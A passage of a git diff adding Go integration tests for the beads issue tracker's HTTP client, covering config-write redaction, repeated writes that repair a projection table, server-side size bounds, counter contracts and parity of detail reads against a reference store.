than a saving, exactly as it is on the two store legs: +// config keys are global to a workspace, the two projected keys are written by +// NAME (their whole point is that those exact names project), and the +// refused-write case takes a history delta. All three need the subtests +// sequential over one plane. +func TestServedWorkspaceConfigContract(t *testing.T) { + e := newServedEnv(t, "hwcfg") + ctx := t.Context() + fixture := newServedWorkspaceConfigFixture(t, e) + + t.Run("StoresAValueVerbatim", func(t *testing.T) { + conformance.RunWorkspaceConfigStoresAValueVerbatim(t, ctx, fixture) + }) + t.Run("ReplacesAnExistingValue", func(t *testing.T) { + conformance.RunWorkspaceConfigReplacesAnExistingValue(t, ctx, fixture) + }) + t.Run("ConflatesAnUnsetKeyWithAnEmptyValue", func(t *testing.T) { + conformance.RunWorkspaceConfigConflatesAnUnsetKeyWithAnEmptyValue(t, ctx, fixture) + }) + t.Run("ListsEveryStoredSetting", func(t *testing.T) { + conformance.RunWorkspaceConfigListsEveryStoredSetting(t, ctx, fixture) + }) + t.Run("ListExcludesTheKVPlane", func(t *testing.T) { + conformance.RunWorkspaceConfigListExcludesTheKVPlane(t, ctx, fixture) + }) + t.Run("PointReadRefusesTheKVPlane", func(t *testing.T) { + conformance.RunWorkspaceConfigPointReadRefusesTheKVPlane(t, ctx, fixture) + }) + t.Run("UnsetRemovesTheSetting", func(t *testing.T) { + conformance.RunWorkspaceConfigUnsetRemovesTheSetting(t, ctx, fixture) + }) + t.Run("UnsetOfAnAbsentKeySucceeds", func(t *testing.T) { + conformance.RunWorkspaceConfigUnsetOfAnAbsentKeySucceeds(t, ctx, fixture) + }) + t.Run("RefusesAnEmptyKey", func(t *testing.T) { + conformance.RunWorkspaceConfigRefusesAnEmptyKey(t, ctx, fixture) + }) + t.Run("RefusesTheProtectedKeyOnSet", func(t *testing.T) { + conformance.RunWorkspaceConfigRefusesTheProtectedKeyOnSet(t, ctx, fixture) + }) + t.Run("UnsetDoesNotRefuseTheProtectedKey", func(t *testing.T) { + conformance.RunWorkspaceConfigUnsetDoesNotRefuseTheProtectedKey(t, ctx, fixture) + }) + t.Run("RefusesAnUnparseableCustomStatus", func(t *testing.T) { + conformance.RunWorkspaceConfigRefusesAnUnparseableCustomStatus(t, ctx, fixture) + }) + t.Run("ProjectsCustomStatuses", func(t *testing.T) { + conformance.RunWorkspaceConfigProjectsCustomStatuses(t, ctx, fixture) + }) + t.Run("ProjectsCustomTypes", func(t *testing.T) { + conformance.RunWorkspaceConfigProjectsCustomTypes(t, ctx, fixture) + }) + t.Run("UnsetLeavesTheProjectionBehind", func(t *testing.T) { + conformance.RunWorkspaceConfigUnsetLeavesTheProjectionBehind(t, ctx, fixture) + }) + t.Run("ARefusedWriteRecordsNoHistory", func(t *testing.T) { + conformance.RunWorkspaceConfigARefusedWriteRecordsNoHistory(t, ctx, fixture) + }) + t.Run("KeysAreCaseSensitive", func(t *testing.T) { + conformance.RunWorkspaceConfigKeysAreCaseSensitive(t, ctx, fixture) + }) + t.Run("CustomStatusReadsAreOrderedByName", func(t *testing.T) { + conformance.RunWorkspaceConfigCustomStatusReadsAreOrderedByName(t, ctx, fixture) + }) + t.Run("CustomTypeReadsAreOrderedByName", func(t *testing.T) { + conformance.RunWorkspaceConfigCustomTypeReadsAreOrderedByName(t, ctx, fixture) + }) + t.Run("ConfiguredInfraTypesReplaceTheDefaultSet", func(t *testing.T) { + conformance.RunWorkspaceConfigConfiguredInfraTypesReplaceTheDefaultSet(t, ctx, fixture) + }) + t.Run("UnconfiguredVocabularyReadsAreEmptyNotErrors", func(t *testing.T) { + conformance.RunWorkspaceConfigUnconfiguredVocabularyReadsAreEmptyNotErrors(t, ctx, fixture) + }) +} + +// newServedWorkspaceConfigFixture binds the ROLE to the client and everything +// else to the reference store, which is this harness's standing rule. +// +// THE VOCABULARY READER IS THE ONE EXCEPTION, and it is the same exception the +// ReadyClaimer fixture makes for its Reader: the three reads it holds are the +// SUBJECT's own (vocabulary.go), so the projection cases compare two of this +// client's surfaces — a write through the role, and a vocabulary read that goes +// back over the wire for the key it wrote — against each other. Binding the +// server's would compare the server to itself and prove nothing about the +// client. +func newServedWorkspaceConfigFixture(t *testing.T, e *servedEnv) conformance.WorkspaceConfigFixture { + t.Helper() + settings, err := e.subject.WorkspaceConfig() + if err != nil { + t.Fatalf("WorkspaceConfig(): %v", err) + } + // The protected-key cases need an issue_prefix to remove and restore, and + // they need it written PAST the role, which refuses to write it. newServedEnv + // already seeds one through the reference store; this restates it so the + // fixture does not depend on the harness's own seeding order. + if err := e.setConfig(t.Context(), "issue_prefix", e.prefix); err != nil { + t.Fatalf("seed issue_prefix: %v", err) + } + return conformance.WorkspaceConfigFixture{ + IssuePrefix: e.prefix, + WorkspaceConfig: settings, + SetConfig: e.setConfig, + QueryScalar: e.queryScalar, + CountHistory: e.countHistory, + Vocabulary: &conformance.WorkspaceVocabularyReader{ + CustomStatuses: e.subject.GetCustomStatusesDetailed, + CustomTypes: e.subject.GetCustomTypes, + InfraTypes: func(ctx context.Context) (map[string]bool, error) { + return e.subject.GetInfraTypes(ctx), nil + }, + }, + } +} diff --git a/internal/httpclient/served_config_write_test.go b/internal/httpclient/served_config_write_test.go new file mode 100644 index 000000000..3596dff56 --- /dev/null +++ b/internal/httpclient/served_config_write_test.go @@ -0,0 +1,236 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_config_write_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "errors" + "strings" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The three claims about the config WRITE half that the shared contract cannot +// make, because each of them is about something only THIS leg has: an operation +// that redacts its own answer, an operation that bounds a value the role does +// not, and a PUT whose second call must not be short-circuited. +// +// They are here rather than in the unit tier because each needs a real server: +// the redaction predicate, the two edge bounds and the write-through are all the +// SERVER's, and a stub transport would let this file assert whatever it liked +// about them. + +// TestServedConfigWriteAnswersTheReadThatFollowsIt is the redaction doctrine, +// pinned on both sides of the one key it changes anything for. +// +// The operation PERMITS a credential-bearing write and WITHHOLDS the value from +// its own answer — one projection serves the write and the read, so the body of +// a PUT is byte-identical to the body of the GET after it. That leaves a +// successful write whose `value` member is absent, and the role's result has no +// spelling for "withheld": reporting "" would tell a caller the plane holds +// nothing under that key, which is the write-side version of the confusion +// RedactedSettingError exists to prevent on the read side. +// +// So the client answers with the value it SENT, and this asserts why that is +// honest rather than convenient: the value really is stored, read RAW from the +// reference store past the wire that hid it. +// +// WHAT THIS CASE CANNOT SAY is that the ordinary key beside it is TRANSCRIBED +// off the answer rather than echoed from the request. Against a correct server +// the two are byte-identical — the operation promises the stored value equals +// the value sent for every key it accepts — so the difference is pinned where it +// is observable, against a transport that answers something else: +// TestSetSettingTranscribesTheAnswerRatherThanEchoingTheRequest. The ordinary +// key runs here anyway, because a client that transcribed the WRONG member would +// fail it. +func TestServedConfigWriteAnswersTheReadThatFollowsIt(t *testing.T) { + e := newServedEnv(t, "hcfgw1") + ctx := t.Context() + settings := servedSettings(t, e) + + const secretKey = "notion.token" + const secret = "shhh-real-secret" + res, err := settings.SetSetting(ctx, issueops.SetSettingRequest{Key: secretKey, Value: secret}) + if err != nil { + t.Fatalf("SetSetting on a credential-bearing key = %v; the write is permitted and only the ANSWER withholds", err) + } + if res.Key != secretKey { + t.Errorf("SetSetting echoed key %q, want %q", res.Key, secretKey) + } + if res.Value != secret { + t.Errorf("SetSetting reported value %q, want %q: the answer withheld it, and \"\" would say the plane stores nothing there", + res.Value, secret) + } + + // Read RAW, past the role and past the wire: the point is that the value the + // response would not repeat IS the value the workspace now holds. + stored, err := e.reference.GetConfig(ctx, secretKey) + if err != nil { + t.Fatalf("read the stored credential back from the reference store: %v", err) + } + if stored != secret { + t.Errorf("the workspace stores %q under %q, want %q", stored, secretKey, secret) + } + + // And the READ that follows still withholds, which is the other half of "the + // PUT body is the GET body": a write does not unlock the key it just wrote. + if _, err := settings.GetSetting(ctx, issueops.GetSettingRequest{Key: secretKey}); !errors.Is(err, ErrSettingRedacted) { + t.Errorf("GetSetting after the write = %v, want ErrSettingRedacted; the write does not unlock the read", err) + } + + // The ordinary key is TRANSCRIBED, not echoed. The server answers this one + // with the stored value on the wire, so a client that reported the request + // unconditionally would be indistinguishable here — until a server stored + // something else. + const plainKey = "custom.hcfgw1-plain" + const plain = " spaces and , commas " + res, err = settings.SetSetting(ctx, issueops.SetSettingRequest{Key: plainKey, Value: plain}) + if err != nil { + t.Fatalf("SetSetting on an ordinary key: %v", err) + } + if res.Value != plain { + t.Errorf("SetSetting reported %q, want the verbatim %q", res.Value, plain) + } + got, err := settings.GetSetting(ctx, issueops.GetSettingRequest{Key: plainKey}) + if err != nil || got.Value != plain { + t.Errorf("GetSetting after the write = (%q, %v), want (%q, nil)", got.Value, err, plain) + } +} + +// TestServedConfigSetTwiceReachesTheRoleBothTimes pins that this client adds no +// idempotence of its own. +// +// The role's contract is explicit that a write of the value already there still +// performs the write and its projection — a no-op detection would make repairing +// a normalized table that had drifted from its row depend on the row having +// changed — and the wire carries no `changed` member to tempt one. A client that +// compared first would be the only leg on which that repair silently stopped +// happening, and nothing else in this tree would notice. +// +// It is measured through the PROJECTION rather than through the row, because the +// row is what a short-circuit would leave looking correct: the table is +// desynchronized out of band, the same value is written again, and the table has +// to come back. +func TestServedConfigSetTwiceReachesTheRoleBothTimes(t *testing.T) { + e := newServedEnv(t, "hcfgw2") + ctx := t.Context() + settings := servedSettings(t, e) + + const value = "research,ops" + first, err := settings.SetSetting(ctx, issueops.SetSettingRequest{Key: issueops.SettingKeyTypesCustom, Value: value}) + if err != nil { + t.Fatalf("the first SetSetting: %v", err) + } + if got := servedCustomTypeRows(t, ctx, e); got != 2 { + t.Fatalf("custom_types holds %d rows after the first write, want 2", got) + } + + // Desynchronize the projection PAST the role, which is the state the role's + // contract says a repeated write exists to repair. + if err := e.exec(ctx, []conformance.SQLStatement{{Query: "DELETE FROM custom_types"}}); err != nil { + t.Fatalf("desynchronize the projection: %v", err) + } + if got := servedCustomTypeRows(t, ctx, e); got != 0 { + t.Fatalf("custom_types holds %d rows after the delete, want 0; the case proves nothing", got) + } + + second, err := settings.SetSetting(ctx, issueops.SetSettingRequest{Key: issueops.SettingKeyTypesCustom, Value: value}) + if err != nil { + t.Fatalf("the second SetSetting: %v", err) + } + if got := servedCustomTypeRows(t, ctx, e); got != 2 { + t.Errorf("custom_types holds %d rows after re-writing the same value, want 2: the second write did not reach the role, "+ + "so a table that had drifted from its row can never be repaired through this client", got) + } + // And the two answers are the same answer. There is no `already_set` on this + // surface and this client must not invent one. + if first != second { + t.Errorf("the two writes answered %+v and %+v; a PUT's second answer is its first", first, second) + } +} + +// TestServedConfigWriteBoundsAreTheServersAndNotThisClients is L-config-bounds, +// measured against the reference store through its OWN role so "the two legs +// differ" is observed rather than asserted. +// +// Both bounds are the OPERATION's: internal/httpapi checks them before the role +// is called, and workapi.ValidateSettingWrite — the rule every leg shares — +// applies neither. So the same request is a typed, member-named refusal here and +// a raw column overflow there, and this client restates nothing, for the reason +// the ledger row gives. +// +// THE CEILING ITSELF IS ASSERTED FIRST. Without it the case would pass against a +// client that refused every value: what makes the refusal a BOUND rather than a +// blanket is that exactly types.MaxTextBytes bytes is stored. +func TestServedConfigWriteBoundsAreTheServersAndNotThisClients(t *testing.T) { + e := newServedEnv(t, "hcfgw3") + ctx := t.Context() + settings := servedSettings(t, e) + reference, err := e.reference.WorkspaceConfig() + if err != nil { + t.Fatalf("the reference store's WorkspaceConfig(): %v", err) + } + + atCeiling := strings.Repeat("y", types.MaxTextBytes) + if _, err := settings.SetSetting(ctx, issueops.SetSettingRequest{Key: "custom.hcfgw3-at", Value: atCeiling}); err != nil { + t.Fatalf("a value of exactly %d bytes was refused: %v", types.MaxTextBytes, err) + } + + past := strings.Repeat("y", types.MaxTextBytes+1) + httpErr := setSettingErr(ctx, settings, "custom.hcfgw3-past", past) + if !errors.Is(httpErr, issueops.ErrValidation) { + t.Errorf("a value one byte past the column = %v, want ErrValidation carried back from the operation's 400", httpErr) + } + if refErr := setSettingErr(ctx, reference, "custom.hcfgw3-past-local", past); errors.Is(refErr, issueops.ErrValidation) { + t.Errorf("the reference store answered ErrValidation for the same value (%v); if both legs now classify it, "+ + "L-config-bounds has retired and this pin should go with it", refErr) + } else if refErr == nil { + t.Error("the reference store STORED a value past the column; the bound this row is about does not exist") + } + + // The KEY bound splits the same way — and only on the WRITE. The remove + // checks that the key names something and nothing more, on both legs. + longKey := "custom.hcfgw3-" + strings.Repeat("k", types.MaxFieldLen) + if err := setSettingErr(ctx, settings, longKey, "v"); !errors.Is(err, issueops.ErrValidation) { + t.Errorf("a key past the column on the write = %v, want ErrValidation", err) + } + if err := setSettingErr(ctx, reference, longKey+"2", "v"); errors.Is(err, issueops.ErrValidation) { + t.Errorf("the reference store answered ErrValidation for the same key (%v); the key half of L-config-bounds has retired", err) + } + if _, err := settings.UnsetSetting(ctx, issueops.UnsetSettingRequest{Key: longKey}); err != nil { + t.Errorf("removing an over-long key = %v, want success: the remove carries no length bound on either leg", err) + } +} + +// servedSettings is the SUBJECT's settings role, which every case here drives. +func servedSettings(t *testing.T, e *servedEnv) issueops.WorkspaceConfig { + t.Helper() + settings, err := e.subject.WorkspaceConfig() + if err != nil { + t.Fatalf("WorkspaceConfig(): %v", err) + } + return settings +} + +// setSettingErr is the error half of a write, for the arms that are about the +// refusal rather than the result. +func setSettingErr(ctx context.Context, settings issueops.WorkspaceConfig, key, value string) error { + _, err := settings.SetSetting(ctx, issueops.SetSettingRequest{Key: key, Value: value}) + return err +} + +// servedCustomTypeRows counts the projected table the write re-synchronizes. +func servedCustomTypeRows(t *testing.T, ctx context.Context, e *servedEnv) int { + t.Helper() + var rows int + if err := e.queryScalar(ctx, "SELECT COUNT(*) FROM custom_types", nil, &rows); err != nil { + t.Fatalf("count custom_types: %v", err) + } + return rows +} diff --git a/internal/httpclient/served_counter_test.go b/internal/httpclient/served_counter_test.go new file mode 100644 index 000000000..01fa3f7d4 --- /dev/null +++ b/internal/httpclient/served_counter_test.go @@ -0,0 +1,96 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_counter_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// The Counter contract, run through the http client against a real bd serve. +// +// NOTHING IS PARKED HERE, and on this role that is a statement rather than a +// happy accident. Every case scopes itself with IDFilter — the count publishes +// `id` where the LISTING does not, which is why the Reader family parks nine +// cases on E-ListRequest.IDFilter and this one parks none — and every filter the +// contract reaches for is a parameter this operation carries. The plane cases in +// particular cross whole: `include_infra` is one flag on the wire and one flag +// on the request, and what it MEANS is four decisions the server's own role +// makes from the workspace's infra vocabulary, which is a config load this +// client could not perform and does not have to. +func servedCounterFixture(t *testing.T, e *servedEnv, prefix string) conformance.CounterFixture { + t.Helper() + counter, err := e.subject.Counter() + if err != nil { + t.Fatalf("Counter(): %v", err) + } + return conformance.CounterFixture{ + IssuePrefix: prefix, + Counter: counter, + CreateIssue: e.createIssue, + CreateWisp: e.createWisp, + CountHistory: e.countHistory, + AddDependency: e.addDependency, + // List is deliberately left nil (unlike the dolt leg's wiring in + // internal/storage/dolt/counter_contract_test.go). This client's OWN + // ListRequest encoder table (encode/table.go's listTable) has + // pre-existing, permanent refusals for NoParent and ExcludeTypes + // (E-ListRequest.NoParent, E-ListRequest.ExcludeTypes) — a divergence + // on the LISTING operation unrelated to S8 — so wiring List here would + // make RunCounterNoParentMatchesListCardinality and + // RunCounterExcludeTypesMatchesListCardinality FAIL rather than the + // requireCounterList skip this fixture's own documented design + // intends for a leg that cannot express the comparison. + } +} + +func TestServedCounterContract(t *testing.T) { + e := newServedEnv(t, "cnt") + fixture := servedCounterFixture(t, e, "cnt") + + for _, tc := range []struct { + name string + run func(*testing.T, context.Context, conformance.CounterFixture) + }{ + {"CountsTheDurablePlaneByDefault", conformance.RunCounterCountsTheDurablePlaneByDefault}, + {"IncludeInfraMergesTheWispTier", conformance.RunCounterIncludeInfraMergesTheWispTier}, + {"IncludeInfraExcludesGates", conformance.RunCounterIncludeInfraExcludesGates}, + {"CountsClosedRows", conformance.RunCounterCountsClosedRows}, + {"AnUnknownStatusMatchesNothing", conformance.RunCounterAnUnknownStatusMatchesNothing}, + {"GroupsPartitionTheScalarSet", conformance.RunCounterGroupsPartitionTheScalarSet}, + {"LabelBucketsOverlapSoTotalIsNotTheirSum", conformance.RunCounterLabelBucketsOverlapSoTotalIsNotTheirSum}, + {"NamesTheEmptyBuckets", conformance.RunCounterNamesTheEmptyBuckets}, + {"PrefixesPriorityBuckets", conformance.RunCounterPrefixesPriorityBuckets}, + {"PriorityBucketsCountZeroAndCountEveryRow", conformance.RunCounterPriorityBucketsCountZeroAndCountEveryRow}, + {"TheNoLabelBucketIsAbsentWhenEveryRowIsLabeled", conformance.RunCounterTheNoLabelBucketIsAbsentWhenEveryRowIsLabeled}, + {"TypeBucketsAreTheRawTypeNames", conformance.RunCounterTypeBucketsAreTheRawTypeNames}, + {"RefusesAnUnknownGroup", conformance.RunCounterRefusesAnUnknownGroup}, + {"NormalizesLabelsAndLeavesTheRequestAlone", conformance.RunCounterNormalizesLabelsAndLeavesTheRequestAlone}, + {"WritesNothing", conformance.RunCounterWritesNothing}, + + // S8 (#7199) count scope, served for real against a running bd serve: + // ParentID, NoParent, ExcludeTypes and ExcludeStatus each narrow the + // predicate over the http wire, exercising the client's encoding + // (counts_test.go covers the unit-level encoding and the pre-dial + // skew refusal; these confirm the served round trip). The three + // *MatchesListCardinality cases SKIP here (requireCounterList) rather + // than fail, since this fixture leaves List unwired — see + // servedCounterFixture's comment. + {"ParentIDScopesToChildren", conformance.RunCounterParentIDScopesToChildren}, + {"NoParentExcludesChildren", conformance.RunCounterNoParentExcludesChildren}, + {"ExcludeTypesNarrowsThePredicate", conformance.RunCounterExcludeTypesNarrowsThePredicate}, + {"ExcludeStatusNarrowsThePredicate", conformance.RunCounterExcludeStatusNarrowsThePredicate}, + {"ParentIDMatchesListCardinality", conformance.RunCounterParentIDMatchesListCardinality}, + {"NoParentMatchesListCardinality", conformance.RunCounterNoParentMatchesListCardinality}, + {"ExcludeTypesMatchesListCardinality", conformance.RunCounterExcludeTypesMatchesListCardinality}, + {"ParentIDIncludesAWispChild", conformance.RunCounterParentIDIncludesAWispChild}, + {"ParentIDAndExcludeStatusComposeOnAClosedChild", conformance.RunCounterParentIDAndExcludeStatusComposeOnAClosedChild}, + } { + t.Run(tc.name, func(t *testing.T) { tc.run(t, t.Context(), fixture) }) + } +} diff --git a/internal/httpclient/served_detail_reads_test.go b/internal/httpclient/served_detail_reads_test.go new file mode 100644 index 000000000..29d0f4e6b --- /dev/null +++ b/internal/httpclient/served_detail_reads_test.go @@ -0,0 +1,380 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_detail_reads_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "sort" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// The four getIssue riders and the anchored dependency-records read, run as a +// DUAL RUN: the same off-role method asked of the reference store directly and +// of the http client, and the two answers compared (ga-b8ddd.30). +// +// These are raw methods rather than roles, so they carry no backend/conformance +// contract — the audit tier and this served parity file are the right shape. The +// comparison is what the encode gate cannot make: the parameters round-trip +// through the server's decoder there, but whether the ROWS come back the same is +// a fact only a run against the served reference can establish. Here both sides +// run it. +// +// Ordering is normalized before every comparison. None of these reads promises a +// stable order across the two code paths — the reference reads them straight off +// the table, the wire assembles them through the detail view — so the parity that +// matters is the row SET and each row's fields, not the sequence. + +func sortMetadata(rows []*types.IssueWithDependencyMetadata) { + sort.SliceStable(rows, func(i, j int) bool { + if rows[i].Issue.ID != rows[j].Issue.ID { + return rows[i].Issue.ID < rows[j].Issue.ID + } + return rows[i].DependencyType < rows[j].DependencyType + }) +} + +func sortComments(rows []*types.Comment) { + sort.SliceStable(rows, func(i, j int) bool { return rows[i].ID < rows[j].ID }) +} + +// shallowMetadata projects a dependents list onto the identity-and-shape fields +// its callers consume, mirroring workapi.shallowDep. The include_dependents arm +// of getIssue streams dependents in exactly this shape (be-4d36f2: hub beads +// with thousands of dependents made the full-row marshal allocate gigabytes), so +// it is the shape a dependents read answers over http and the shape `bd show` +// renders — id, status, type, priority, title, plus the edge type. Comparing the +// full local rows would fail on free-form fields no dependents consumer reads; +// comparing this projection is the parity that is actually promised. +func shallowMetadata(rows []*types.IssueWithDependencyMetadata) []*types.IssueWithDependencyMetadata { + out := make([]*types.IssueWithDependencyMetadata, 0, len(rows)) + for _, row := range rows { + if row == nil { + out = append(out, nil) + continue + } + out = append(out, &types.IssueWithDependencyMetadata{ + Issue: types.Issue{ + ID: row.Issue.ID, + Status: row.Issue.Status, + IssueType: row.Issue.IssueType, + Priority: row.Issue.Priority, + Title: row.Issue.Title, + }, + DependencyType: row.DependencyType, + }) + } + return out +} + +func sortRecords(rows []*types.Dependency) { + sort.SliceStable(rows, func(i, j int) bool { + if rows[i].DependsOnID != rows[j].DependsOnID { + return rows[i].DependsOnID < rows[j].DependsOnID + } + return rows[i].Type < rows[j].Type + }) +} + +// seedDetailReadsFixture plants a subject issue with labels, a comment, one +// outgoing dependency and one incoming dependent, so every one of the five reads +// has a non-empty answer to compare. +func seedDetailReadsFixture(t *testing.T, ctx context.Context, e *servedEnv) { + t.Helper() + rows := []*types.Issue{ + {ID: "drd-root", Title: "root", Status: types.StatusOpen, IssueType: types.TypeTask, Labels: []string{"drd-alpha", "drd-beta"}}, + {ID: "drd-dep", Title: "a dependency of root", Status: types.StatusOpen, IssueType: types.TypeTask}, + {ID: "drd-ant", Title: "a dependent of root", Status: types.StatusOpen, IssueType: types.TypeTask}, + } + for _, row := range rows { + if err := e.createIssue(ctx, row, "seed"); err != nil { + t.Fatalf("seed %s: %v", row.ID, err) + } + } + // root depends on drd-dep; drd-ant depends on root. + for _, edge := range []*types.Dependency{ + {IssueID: "drd-root", DependsOnID: "drd-dep", Type: types.DepBlocks}, + {IssueID: "drd-ant", DependsOnID: "drd-root", Type: types.DepBlocks}, + } { + if err := e.addDependency(ctx, edge, "seed"); err != nil { + t.Fatalf("seed edge %s -> %s: %v", edge.IssueID, edge.DependsOnID, err) + } + } + // Two comments, by different authors, so the thread read is exercised for + // ORDERING and PER-FIELD carriage rather than for a single row that could pass + // a shallow projection by accident. + for _, c := range []struct{ author, text string }{ + {"seed", "a comment the detail view carries"}, + {"reviewer", "a second comment, so ordering and per-field parity are exercised"}, + } { + if err := e.addComment(ctx, "drd-root", c.author, c.text); err != nil { + t.Fatalf("seed the comment %q: %v", c.text, err) + } + } +} + +// TestServedDetailReadsAgreeWithTheReferenceStore is the parity pin for all five +// flips: each off-role read answers the same value over http that it answers +// locally. +func TestServedDetailReadsAgreeWithTheReferenceStore(t *testing.T) { + e := newServedEnv(t, "drd") + ctx := t.Context() + seedDetailReadsFixture(t, ctx, e) + + t.Run("GetLabels", func(t *testing.T) { + want, err := e.reference.GetLabels(ctx, "drd-root") + if err != nil { + t.Fatalf("reference GetLabels: %v", err) + } + got, err := e.subject.GetLabels(ctx, "drd-root") + if err != nil { + t.Fatalf("http GetLabels: %v", err) + } + sort.Strings(want) + sort.Strings(got) + assertSameJSON(t, "GetLabels", want, got) + }) + + t.Run("GetDependenciesWithMetadata", func(t *testing.T) { + want, err := e.reference.GetDependenciesWithMetadata(ctx, "drd-root") + if err != nil { + t.Fatalf("reference GetDependenciesWithMetadata: %v", err) + } + got, err := e.subject.GetDependenciesWithMetadata(ctx, "drd-root") + if err != nil { + t.Fatalf("http GetDependenciesWithMetadata: %v", err) + } + if len(want) != 1 || want[0].Issue.ID != "drd-dep" { + t.Fatalf("the REFERENCE answered %+v, the fixture expects one edge onto drd-dep", want) + } + sortMetadata(want) + sortMetadata(got) + assertSameJSON(t, "GetDependenciesWithMetadata", want, got) + }) + + t.Run("GetDependentsWithMetadata is carried only when asked", func(t *testing.T) { + want, err := e.reference.GetDependentsWithMetadata(ctx, "drd-root") + if err != nil { + t.Fatalf("reference GetDependentsWithMetadata: %v", err) + } + got, err := e.subject.GetDependentsWithMetadata(ctx, "drd-root") + if err != nil { + t.Fatalf("http GetDependentsWithMetadata: %v", err) + } + if len(want) != 1 || want[0].Issue.ID != "drd-ant" { + t.Fatalf("the REFERENCE answered %+v, the fixture expects one dependent drd-ant", want) + } + // The dependents arm answers the shallow include_dependents shape, so the + // parity is over the fields that shape carries and `bd show` renders. + wantShallow := shallowMetadata(want) + gotShallow := shallowMetadata(got) + sortMetadata(wantShallow) + sortMetadata(gotShallow) + assertSameJSON(t, "GetDependentsWithMetadata", wantShallow, gotShallow) + }) + + t.Run("GetIssueComments carry the WHOLE comment, not a shallow projection", func(t *testing.T) { + want, err := e.reference.GetIssueComments(ctx, "drd-root") + if err != nil { + t.Fatalf("reference GetIssueComments: %v", err) + } + got, err := e.subject.GetIssueComments(ctx, "drd-root") + if err != nil { + t.Fatalf("http GetIssueComments: %v", err) + } + if len(want) != 2 { + t.Fatalf("the REFERENCE answered %d comments, the fixture seeded two", len(want)) + } + sortComments(want) + sortComments(got) + // The comment thread rides include_comments as the FULL types.Comment — + // unlike the shallow dependents arm — so the http answer must carry every + // field a reply renders. A zeroed CreatedAt would sort a reply ahead of the + // root and blank its byline, and an empty Author/Text would gut the render. + // Assert the carriage BY FIELD before the whole-value parity, so a future + // shallow projection fails here by name rather than only through the opaque + // assertSameJSON diff. This is the pin the too-shallow prior test lacked. + if len(got) != len(want) { + t.Fatalf("http answered %d comments, want %d", len(got), len(want)) + } + for i, c := range got { + if c.CreatedAt.IsZero() { + t.Errorf("http comment %d has a zero CreatedAt: the wire dropped it, which would break thread ordering", i) + } + if c.Author == "" || c.Text == "" { + t.Errorf("http comment %d dropped Author/Text: %+v", i, c) + } + } + assertSameJSON(t, "GetIssueComments", want, got) + }) + + t.Run("GetDependentsWithMetadata is SHALLOW over http (why bd show --thread/--refs/--children refuse)", func(t *testing.T) { + ref, err := e.reference.GetDependentsWithMetadata(ctx, "drd-root") + if err != nil { + t.Fatalf("reference GetDependentsWithMetadata: %v", err) + } + got, err := e.subject.GetDependentsWithMetadata(ctx, "drd-root") + if err != nil { + t.Fatalf("http GetDependentsWithMetadata: %v", err) + } + if len(ref) != 1 || len(got) != 1 { + t.Fatalf("fixture expects one dependent on each side, got ref=%d http=%d", len(ref), len(got)) + } + // The reference reads the full row off the table; the wire answers the + // collectDependents shallow projection (be-4d36f2), which drops the + // free-form fields. CreatedAt is the reliable discriminator — the store + // stamps it on create, so the full row carries it and the shallow one + // zeroes it. This divergence is deliberate and is EXACTLY why the three + // reverse-view show modes refuse rather than render off it; pin it so a + // change that makes the wire look full also has to revisit those refusals. + if ref[0].Issue.CreatedAt.IsZero() { + t.Fatalf("the reference dependent has a zero CreatedAt, so this test cannot tell shallow from full") + } + if !got[0].Issue.CreatedAt.IsZero() { + t.Errorf("http dependent CreatedAt = %v, want zero: the wire is supposed to answer the shallow projection", got[0].Issue.CreatedAt) + } + // The shallow fields the show-text renderer consumes DO ride the wire. + if got[0].Issue.ID != "drd-ant" || got[0].Issue.Title != ref[0].Issue.Title || got[0].Issue.Status != ref[0].Issue.Status { + t.Errorf("the shallow fields diverged: ref=%+v http=%+v", ref[0].Issue, got[0].Issue) + } + }) + + t.Run("GetDependencyRecords", func(t *testing.T) { + want, err := e.reference.GetDependencyRecords(ctx, "drd-root") + if err != nil { + t.Fatalf("reference GetDependencyRecords: %v", err) + } + got, err := e.subject.GetDependencyRecords(ctx, "drd-root") + if err != nil { + t.Fatalf("http GetDependencyRecords: %v", err) + } + if len(want) != 1 || want[0].DependsOnID != "drd-dep" { + t.Fatalf("the REFERENCE answered %+v, the fixture expects one record onto drd-dep", want) + } + sortRecords(want) + sortRecords(got) + assertSameJSON(t, "GetDependencyRecords", want, got) + }) +} + +// TestServedDetailReadsMissParity is the (nil, nil) contract each flip carries: +// a nonexistent id answers empty with no error on BOTH sides, because the front +// doors read a nil result as "not found" and an error would print the +// transport's vocabulary in its place. +func TestServedDetailReadsMissParity(t *testing.T) { + e := newServedEnv(t, "drm") + ctx := t.Context() + const absent = "drm-nope" + + labels, err := e.subject.GetLabels(ctx, absent) + if err != nil || labels != nil { + t.Errorf("GetLabels on a miss = (%v, %v), want (nil, nil)", labels, err) + } + deps, err := e.subject.GetDependenciesWithMetadata(ctx, absent) + if err != nil || deps != nil { + t.Errorf("GetDependenciesWithMetadata on a miss = (%v, %v), want (nil, nil)", deps, err) + } + dependents, err := e.subject.GetDependentsWithMetadata(ctx, absent) + if err != nil || dependents != nil { + t.Errorf("GetDependentsWithMetadata on a miss = (%v, %v), want (nil, nil)", dependents, err) + } + comments, err := e.subject.GetIssueComments(ctx, absent) + if err != nil || comments != nil { + t.Errorf("GetIssueComments on a miss = (%v, %v), want (nil, nil)", comments, err) + } + records, err := e.subject.GetDependencyRecords(ctx, absent) + if err != nil || records != nil { + t.Errorf("GetDependencyRecords on a miss = (%v, %v), want (nil, nil)", records, err) + } + + // The reference answers the same way, so the parity is a shared contract + // rather than a client-side convention. ALL FIVE flipped reads are pinned on + // the reference, not just two: the "answer a miss with empty-and-no-error, + // never the transport's 404 vocabulary" contract has to hold for every read + // the http client mirrors, and spot-checking two of five left the other three + // free to drift. + if got, err := e.reference.GetLabels(ctx, absent); err != nil || got != nil { + t.Errorf("reference GetLabels on a miss = (%v, %v), want (nil, nil)", got, err) + } + if got, err := e.reference.GetDependenciesWithMetadata(ctx, absent); err != nil || got != nil 